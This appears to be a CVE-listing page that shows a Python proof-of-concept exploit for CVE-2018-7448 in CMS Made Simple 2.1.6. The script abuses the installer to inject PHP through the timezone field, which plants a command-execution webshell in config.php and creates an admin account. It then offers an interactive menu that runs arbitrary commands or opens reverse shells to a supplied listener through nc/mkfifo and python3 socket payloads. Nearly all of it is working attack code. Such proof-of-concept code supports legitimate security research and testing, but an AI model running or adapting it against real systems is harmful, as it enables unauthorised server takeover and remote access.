4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit-CVE-2018-7448.py PY
# Python script for CMS Made Simple 2.1.6 - Remote Code Execution
# Based on EDB-ID:44192
# CVE-2018-7448

import requests
from bs4 import BeautifulSoup
import argparse

# proxies = {'http':'http://127.0.0.1:8080'}

def checkInstallation():

    print("[ + ] Checking if CMSMS is already installed...")

    alreadyInstalled = False

    checkUrl = 'http://' + target

    r = requests.session()

    if "CMS Made Simple" in r.get(checkUrl).text:
        print("It seems that CMSMS is already installed!")
        alreadyInstalled = True
        return alreadyInstalled

    print("CMSMS not installed!")

    return alreadyInstalled

def install(target, database, username, password):
    r = requests.session()

    firstUrl = 'http://' + target + '/cmsms-2.1.6-install.php/index.php'

    # First Request
    dataFirstRequest = {
        "lang": "en_US",
        "verbose": 0,
        "next": "Next+%E2%86%92"
    }

    firstRequest = r.post(firstUrl, data=dataFirstRequest)

    # Getting URL with installation tag

    soup = BeautifulSoup(firstRequest.text, 'html.parser')
    form_tag = soup.find('form')

    # Removing the last character of URL (step index)
    installationPath = form_tag['action'][:-1]

    # Parsing target to get only 127.0.0.1 in cases like 127.0.0.1/cmsms
    targetIP = target[:target.index("/")]

    customizedUrl = 'http://' + targetIP + installationPath

    # Second Request
    dataSecondRequest = {
        "install": "Install"
    }

    r.post(customizedUrl + "2", data=dataSecondRequest)

    # Sending fourth request
    dataFourthRequest = {
        "dbhost": "localhost",
        "dbname": database,
        "dbuser": username,
        "dbpass": password,
        "timezone": "A';echo system($_GET['cmd']);$junk='junk",
        "next": "Next+%E2%86%92"
    }

    r.post(customizedUrl + "4", data=dataFourthRequest)

    # Sending fifth request

    dataFifthRequest = {
        "username": "b1d0ws",
        "emailaddr": "[email protected]",
        "password": "bido123",
        "repeatpw": "bido123",
        "next": "Next+%E2%86%92"
    }

    r.post(customizedUrl + "5", data=dataFifthRequest)

    # Sending sixth request

    dataSixthRequest = {
        "sitename": "b1d0ws",
        "next": "Next+%E2%86%92"
    }

    r.post(customizedUrl + "6", data=dataSixthRequest)
    
    # Sending last requests

    r.get(customizedUrl + "7")
    r.get(customizedUrl + "8")
    r.get(customizedUrl + "9")


def webshell(target):

    r = requests.session()

    webshellUrl = "http://" + target + "/config.php?cmd="

    # Use webshell
    while True:

        print("")
        print("======= WEBSHELL MENU =======")
        print("[ 1 ] - Get a Reverse Shell")
        print("[ 2 ] - Execute Command")
        print("[ 3 ] - Exit")
        print("")

        action = input("What do you want to do? ")
        
        if action == "1":

            reverseIP = input("\nInsert listener IP: ")
            reversePort = input("Insert listener port: ")
            
            print("\n[ 1 ] - mkfifo")
            print("[ 2 ] - python3")
            print("[ 3 ] - Exit\n")
            reverseShellOption = input("Which reverse shell you want to try? ")

            if reverseShellOption == "1":
                reverse = "rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20" + reverseIP + "%20" + reversePort + "%20%3E%2Ftmp%2Ff"
                webshellRequest = r.get(webshellUrl + reverse)
            elif reverseShellOption == "2":
                reverse = "python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22" + reverseIP + "%22%2C" + reversePort + "%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22bash%22%29%27"
                webshellRequest = r.get(webshellUrl + reverse)
            elif reverseShellOption == "3":
                continue
            else:
                print("Invalid option!")

        elif action == "2":
            command = input("Enter command: ")

            webshellRequest = r.get(webshellUrl + command)

            print(webshellRequest.text)
        elif action == "3":
            print("Goodbye!")
            break
        else:
            print("Invalid option")

if __name__ == "__main__":

    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", help = "Target IP")
    parser.add_argument("-d", "--database", help = "Database")
    parser.add_argument("-u", "--username", help = "Username of Database")
    parser.add_argument("-p", "--password", help = "Password of Database")

    args = parser.parse_args()

    if not (args.target and args.database and args.username and args.password):
        parser.error('Missing Argument\n\nExample: python3 exploit.py -t 10.10.10.20/cmsms -d cms -u root -p password')
        
    target = args.target
    database = args.database
    username = args.username
    password = args.password

    if 'http' in target:
        print("Insery only the IP or domain name as: 10.10.10.20 or 10.10.10.20/cmsms")
        exit()

    checkInstall = checkInstallation()
    
    firstUrl = 'http://' + target + '/cmsms-2.1.6-install.php/index.php'

    if not checkInstall:
        print("\n[ + ] Installing CMSMS with exploit...")
        install(target, database, username, password)
        checkInstall = True

    if checkInstall:
        webshell(target)